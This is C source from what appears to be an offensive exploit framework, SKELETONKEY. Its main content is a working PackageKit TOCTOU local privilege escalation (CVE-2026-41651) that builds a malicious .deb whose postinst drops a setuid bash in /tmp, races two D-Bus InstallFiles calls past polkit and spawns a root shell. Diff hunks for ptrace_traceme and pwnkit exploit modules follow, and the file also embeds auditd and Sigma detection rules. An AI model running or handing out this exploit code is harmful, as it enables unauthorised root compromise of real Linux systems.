* top-level Makefile autodetects gio-2.0 via pkg-config and defines
* PACK2TR_HAVE_GIO when present. When absent, the module compiles as
* a stub that returns PRECOND_FAIL with a build-time hint.
*
* Port adaptations vs. the standalone PoC:
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
* - exploit() runs the PoC body in a forked child so the PoC's
* die()/exit() paths cannot tear down the skeletonkey dispatcher
* - detect() does a passive precondition + version check (vulnerable
* range 1.0.2 V 1.3.4, fixed in 1.3.5) no version-only
* fabrication; the fix release is officially pinned
* - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
* the SUID bash shell)
* - cleanup() removes the two /tmp .debs and best-effort-unlinks
* /tmp/.suid_bash (which requires root since it is owned by root)
*
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
* vulnerable PackageKit (1.3.4 or earlier) host. The fix release
* (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
* Makefile; do not redefine here. */
#include "../../core/host.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/file.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <time.h>
#include <glib.h>
#include <gio/gio.h>
/* ── config ────────────────────────────────────────────────────────── */
#define SUID_PATH "/tmp/.suid_bash"
#define PK_BUS "org.freedesktop.PackageKit"
#define PK_OBJ "/org/freedesktop/PackageKit"
#define PK_IFACE "org.freedesktop.PackageKit"
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
#define FLAG_NONE ((guint64)0)
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
#define P2TR_VER_LO P2TR_VER(1,0,2)
#define P2TR_VER_HI P2TR_VER(1,3,4)
static int p2tr_verbose = 1;
#define LOG(fmt, ...) do { if (p2tr_verbose) \
fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
static uint32_t crc_tab[256];
static void crc_init(void)
{
for (unsigned i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
crc_tab[i] = c;
}
}
static uint32_t crc32_iso(const void *src, size_t n)
{
const uint8_t *p = src; uint32_t c = 0xffffffffu;
while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
return c ^ 0xffffffffu;
}
/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
{
if (len > 0xffff) return 0;
uint8_t *p = dst;
*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
uint16_t ln = len, nln = ~ln;
*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
memcpy(p, src, len); p += len;
uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
return p - dst;
}
/* ── ustar tar entry ───────────────────────────────────────────────── */
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
size_t dlen, mode_t mode, char type)
{
memset(buf, 0, 512);
snprintf((char *)buf, 100, "%s", name);
snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
snprintf((char *)buf+108, 8, "%07o", 0u);
snprintf((char *)buf+116, 8, "%07o", 0u);
snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
memset(buf+148, ' ', 8);
buf[156] = type;
memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
snprintf((char *)buf+148, 8, "%06o", sum);
buf[154] = '\0'; buf[155] = ' ';
size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
if (dlen && data) memcpy(buf + 512, data, dlen);
if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
return 512 + pad;
}
/* ── ar member ─────────────────────────────────────────────────────── */
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
{
char h[61]; memset(h, ' ', 60); h[60] = 0;
char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
memcpy(h+40, "100644 ", 8);
snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
h[58] = '`'; h[59] = '\n';
fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
if (sz % 2) fputc('\n', f);
}
/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
static int build_deb(const char *dest, const char *pkg, const char *postinst)
{
static uint8_t tarbuf[65536], gzbuf[65536+256];
memset(tarbuf, 0, sizeof tarbuf);
crc_init();
size_t off = 0;
char ctrl[512];
snprintf(ctrl, sizeof ctrl,
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
"Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
if (postinst)
off += tar_entry(tarbuf+off, "./postinst", postinst,
strlen(postinst), 0755, '0');
off += 1024; /* end-of-archive: two 512-byte zero blocks */
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
if (!ctrl_gz_len) return -1;
static uint8_t empty_tar[1024], data_gz[256];
memset(empty_tar, 0, sizeof empty_tar);
size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
FILE *f = fopen(dest, "wb");
if (!f) return -1;
fwrite("!<arch>\n", 1, 8, f);
ar_entry(f, "debian-binary", "2.0\n", 4);
ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
fclose(f);
return 0;
}
/* ── D-Bus helpers ─────────────────────────────────────────────────── */
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
GVariant *p, gpointer u)
{
P2trCtx *ctx = u; guint32 ec, rt;
g_variant_get(p, "(uu)", &ec, &rt);
LOG("transaction finished (exit=%u, %u ms)", ec, rt);
ctx->exit_code = ec; ctx->done = TRUE;
g_main_loop_quit(ctx->loop);
}
static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
GVariant *p, gpointer u G_GNUC_UNUSED)
{
guint32 code; const gchar *det;
g_variant_get(p, "(u&s)", &code, &det);
LOG("PK error %u: %s", code, det);
}
static gboolean cb_timeout(gpointer u)
{
ERR("transaction loop timed out");
g_main_loop_quit(u);
return G_SOURCE_REMOVE;
}
static char *pk_create_tx(GDBusConnection *conn)
{
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
if (!r) {
ERR("CreateTransaction: %s", e ? e->message : "?");
if (e) g_error_free(e);
return NULL;
}
const gchar *tid; g_variant_get(r, "(&o)", &tid);
char *copy = g_strdup(tid); g_variant_unref(r);
return copy;
}
/* Fire-and-forget: both messages must land in the server's socket
* buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
guint64 flags, const char *path)
{
const char *paths[] = { path, NULL };
g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
"InstallFiles", g_variant_new("(t^as)", flags, paths),
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
}
static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
{
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
if (!r) { if (e) g_error_free(e); return false; }
gboolean has; g_variant_get(r, "(b)", &has);
g_variant_unref(r);
return (bool)has;
}
/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
{
static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
int *out[3] = { maj, min, mic };
for (int i = 0; i < 3; i++) {
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
"org.freedesktop.DBus.Properties", "Get",
g_variant_new("(ss)", PK_IFACE, names[i]),
G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
2000, NULL, &e);
if (!r) { if (e) g_error_free(e); return false; }
GVariant *vinner = NULL;
g_variant_get(r, "(v)", &vinner);
if (!vinner) { g_variant_unref(r); return false; }
if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
*out[i] = (int)g_variant_get_uint32(vinner);
else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
*out[i] = (int)g_variant_get_int32(vinner);
else {
g_variant_unref(vinner); g_variant_unref(r); return false;
}
g_variant_unref(vinner); g_variant_unref(r);
}
return true;
}
/* ── detect ────────────────────────────────────────────────────────── */
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
/* "Already root" check — consult ctx->host first so unit tests
* can construct a non-root fingerprint regardless of the test
* process's real euid. Production main() populates host->is_root
* from geteuid() at startup, so behaviour is unchanged. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
return SKELETONKEY_OK;
}
/* Host fingerprint short-circuits — populated once at startup. */
if (ctx->host && !ctx->host->is_debian_family) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: not a Debian-family host "
"(distro=%s) — PoC's .deb builder is Debian-only\n",
ctx->host->distro_id);
return SKELETONKEY_PRECOND_FAIL;
}
if (ctx->host && !ctx->host->has_dbus_system) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: no system D-Bus socket at "
"/run/dbus/system_bus_socket — PackageKit unreachable\n");
return SKELETONKEY_PRECOND_FAIL;
}
GError *e = NULL;
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
if (!conn) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
e ? e->message : "(unknown)");
if (e) g_error_free(e);
return SKELETONKEY_PRECOND_FAIL;
}
if (!dbus_name_has_owner(conn, PK_BUS)) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
"registered on the system bus\n");
g_object_unref(conn);
return SKELETONKEY_PRECOND_FAIL;
}
int maj = 0, min = 0, mic = 0;
bool got_version = pk_query_version(conn, &maj, &min, &mic);
g_object_unref(conn);
if (!got_version) {
if (!ctx->json)
fprintf(stderr, "[?] pack2theroot: PackageKit running but "
"VersionMajor/Minor/Micro unreadable — patch-level "
"unknown\n");
return SKELETONKEY_TEST_ERROR;
}
int v = P2TR_VER(maj, min, mic);
if (!ctx->json)
fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
maj, min, mic);
if (v < P2TR_VER_LO) {
if (!ctx->json)
fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
"(introduced in 1.0.2)\n", maj, min, mic);
return SKELETONKEY_OK;
}
if (v > P2TR_VER_HI) {
if (!ctx->json)
fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
return SKELETONKEY_VULNERABLE;
}
/* ── exploit child (faithful port of the PoC main() body) ──────────── */
static int p2tr_child_run(int no_shell)
{
char dummy[64], payload[64], postinst[160];
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
snprintf(postinst, sizeof postinst,
"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
LOG("building .deb packages (pure C; ar/tar/gzip inline)");
if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
ERR("dummy .deb build failed");
return 2;
}
if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
ERR("payload .deb build failed"); unlink(dummy);
return 2;
}
if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
ERR("built .deb files are missing"); return 2;
}
LOG("dummy : %s", dummy);
LOG("payload : %s", payload);
GError *err = NULL;
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
if (!conn) {
ERR("system D-Bus: %s", err ? err->message : "?");
if (err) g_error_free(err);
unlink(dummy); unlink(payload);
return 4;
}
char *tid = pk_create_tx(conn);
if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
LOG("transaction : %s", tid);
P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
"Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
/* ── EXPLOIT ───────────────────────────────────────────────────── */
LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
(unsigned long long)FLAG_SIMULATE);
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
(unsigned long long)FLAG_NONE);
pk_install_files_async(conn, tid, FLAG_NONE, payload);
/* Flush so both messages land in the server's socket buffer before
* its main loop runs the GLib idle from step 1. */
{
GError *fe = NULL;
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
ERR("D-Bus flush: %s", fe ? fe->message : "?");
g_clear_error(&fe);
}
}
LOG("awaiting dispatch (30s max)");
g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
g_main_loop_run(pkctx.loop);
g_dbus_connection_signal_unsubscribe(conn, sf);
g_dbus_connection_signal_unsubscribe(conn, se);
g_free(tid);
g_object_unref(conn);
/* Record /tmp paths for cleanup() even if the SUID never lands. */
int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sf2 >= 0) {
dprintf(sf2, "%s\n%s\n", dummy, payload);
close(sf2);
}
/* Poll up to 120s for the SUID bash; the APT backend may keep
* running after polkit fires. Faithful to the PoC's polling loop. */
LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
struct stat st;
int appeared_at = -1;
for (int i = 0; i < 1200; i++) {
usleep(100000); /* 100 ms */
if (i % 50 == 0 && p2tr_verbose) {
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
int lock_held = 0;
if (lock_fd >= 0) {
lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
if (!lock_held) flock(lock_fd, LOCK_UN);
close(lock_fd);
}
fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
"dpkg_lock=%s suid=%s\n",
(i/10)+1,
access(payload, F_OK) == 0 ? "present" : "consumed",
lock_held ? "held" : "free",
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
}
if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
appeared_at = i;
break;
}
}
if (appeared_at < 0) {
ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
return 3; /* EXPLOIT_FAIL */
}
LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
if (no_shell) {
LOG("--no-shell: payload placed, root shell not spawned");
LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
return 0;
}
/* Exec the SUID bash interactively. */
if (isatty(STDIN_FILENO)) {
char *ttydev = ttyname(STDIN_FILENO);
pid_t child = fork();
if (child == 0) {
setsid();
if (ttydev) {
int t = open(ttydev, O_RDWR);
if (t >= 0) {
ioctl(t, TIOCSCTTY, 1);
dup2(t, 0); dup2(t, 1); dup2(t, 2);
if (t > 2) close(t);
}
}
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
execv(SUID_PATH, argv);
_exit(1);
}
if (child > 0) { int s; waitpid(child, &s, 0); }
} else {
/* Non-tty: just exec the SUID bash (replaces our process). */
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
execv(SUID_PATH, argv);
ERR("execv(%s): %s", SUID_PATH, strerror(errno));
return 3;
}
return 0;
}
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
if (geteuid() == 0) {
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
return SKELETONKEY_OK;
}
pid_t pid = fork();
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (pid == 0) {
int rc = p2tr_child_run(ctx->no_shell);
_exit(rc);
}
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
switch (WEXITSTATUS(st)) {
case 0: return SKELETONKEY_EXPLOIT_OK;
case 4: return SKELETONKEY_PRECOND_FAIL;
default: return SKELETONKEY_EXPLOIT_FAIL;
}
}
/* ── cleanup ───────────────────────────────────────────────────────── */
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
/* Remove the two staged .debs (recorded during exploit). */
int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
if (sf >= 0) {
char buf[512] = {0};
ssize_t n = read(sf, buf, sizeof(buf) - 1);
close(sf);
if (n > 0) {
char *line = strtok(buf, "\n");
while (line) {
if (unlink(line) == 0) LOG("removed %s", line);
line = strtok(NULL, "\n");
}
}
unlink("/tmp/skeletonkey-pack2theroot.state");
}
/* Best-effort remove the SUID bash. It is owned by root, so this
* only succeeds when cleanup runs with root privileges (e.g. the
* caller already used the SUID shell to escalate). */
if (access(SUID_PATH, F_OK) == 0) {
if (unlink(SUID_PATH) == 0) {
LOG("removed %s", SUID_PATH);
} else {
ERR("could not remove %s (%s); rerun cleanup as root, or:",
SUID_PATH, strerror(errno));
ERR(" sudo rm -f %s", SUID_PATH);
}
}
/* Best-effort: uninstall the malicious package via passwordless sudo. */
if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
">/dev/null 2>&1") == 0) {
LOG("dpkg -r removed staged packages");
} else {
LOG("dpkg -r not run automatically; if needed:");
LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
}
return SKELETONKEY_OK;
}
#else /* !__linux__ || !PACK2TR_HAVE_GIO */
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
#ifndef __linux__
fprintf(stderr, "[i] pack2theroot: Linux-only module "
"(PackageKit D-Bus) — not applicable on this platform\n");
#else
fprintf(stderr, "[i] pack2theroot: module built without "
"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
#endif
}
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ && PACK2TR_HAVE_GIO */
/* ── embedded detection rules ──────────────────────────────────────── */
static const char p2tr_auditd[] =
"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
"# without bus-monitoring, but the file footprint is unmistakable.\n"
"\n"
"# SUID bash carrier that the PoC postinst lands\n"
"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
"\n"
"# Any new setuid binary owned by root in /tmp is suspicious\n"
"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
" -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
"\n"
"# The PoC drops two .deb files in /tmp before the install fires\n"
"-a always,exit -F arch=b64 -S openat,creat \\\n"
" -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
"\n"
"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
" -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
static const char p2tr_sigma[] =
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
"status: experimental\n"
"description: |\n"
" Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
" user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
" drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
" follows. The trigger itself is two back-to-back D-Bus calls with\n"
" no polkit prompt — only visible via dbus-monitor or the file\n"
" side effects.\n"
"references:\n"
" - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
" - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" suid_drop:\n"
" type: 'PATH'\n"
" name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
" not_root:\n"
" auid|expression: '!= 0'\n"
" condition: suid_drop and not_root\n"
"level: high\n"
"tags:\n"
" - attack.privilege_escalation\n"
" - attack.t1068\n"
" - cve.2026.41651\n";
const struct skeletonkey_module pack2theroot_module = {
.name = "pack2theroot",
.cve = "CVE-2026-41651",
.summary = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
.family = "pack2theroot",
.kernel_range = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
.detect = p2tr_detect,
.exploit = p2tr_exploit,
.mitigate = NULL,
.cleanup = p2tr_cleanup,
.detect_auditd = p2tr_auditd,
.detect_sigma = p2tr_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_pack2theroot(void)
{
skeletonkey_register(&pack2theroot_module);
}
@@ -0,0 +1,12 @@
/*
* pack2theroot_cve_2026_41651 SKELETONKEY module registry hook
*/
#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
#define PACK2THEROOT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module pack2theroot_module;
#endif
@@ -28,13 +28,17 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
@@ -63,32 +67,37 @@ static const struct kernel_range ptrace_traceme_range = {
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ptrace_traceme: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug existed since ptrace's inception (early 2.x); anything
* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
* model defaults to vulnerable since no entry covers it. */
if (v.major < 4 || (v.major == 4 && v.minor < 4)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 4, 0)) {
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release);
v->release);
}
return SKELETONKEY_VULNERABLE;
}
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
bool patched = kernel_range_is_patched(&ptrace_traceme_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n");
}
@@ -183,7 +192,10 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return SKELETONKEY_OK;
}
@@ -277,6 +289,27 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
#endif
}
#else /* !__linux__ */
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
* are Linux-only ABI surface. Stub out so the module still registers and
* the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ptrace_traceme: Linux-only module "
"(PTRACE_TRACEME cred-escalation) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
@@ -23,6 +23,7 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
@@ -76,44 +77,58 @@ static bool pkexec_version_vulnerable(const char *version_str)
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
{
const char *pkexec_path = find_pkexec();
if (!pkexec_path) {
/* Prefer the centrally-fingerprinted polkit version (populated
* once at startup by core/host.c via `pkexec --version`). Saves
* a popen per scan and lets unit tests construct synthetic
* polkit_version values. Fall back to the local popen if
* ctx->host is missing the version (degenerate test ctx or a
* future refactor that disables userspace probing). */
char vp_buf[64] = {0};
const char *vp = NULL;
if (ctx->host && ctx->host->polkit_version[0]) {
snprintf(vp_buf, sizeof vp_buf, "%s", ctx->host->polkit_version);
vp = vp_buf;
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
fprintf(stderr, "[i] pwnkit: host fingerprint reports pkexec "
"version '%s'\n", vp);
}
} else {
const char *pkexec_path = find_pkexec();
if (!pkexec_path) {
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
}
return SKELETONKEY_OK;
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
}
/* Run `pkexec --version` and parse. We pipe stderr/stdout to a
* temp file because popen() can have quoting quirks. */
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
FILE *p = popen(cmd, "r");
if (!p) return SKELETONKEY_TEST_ERROR;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
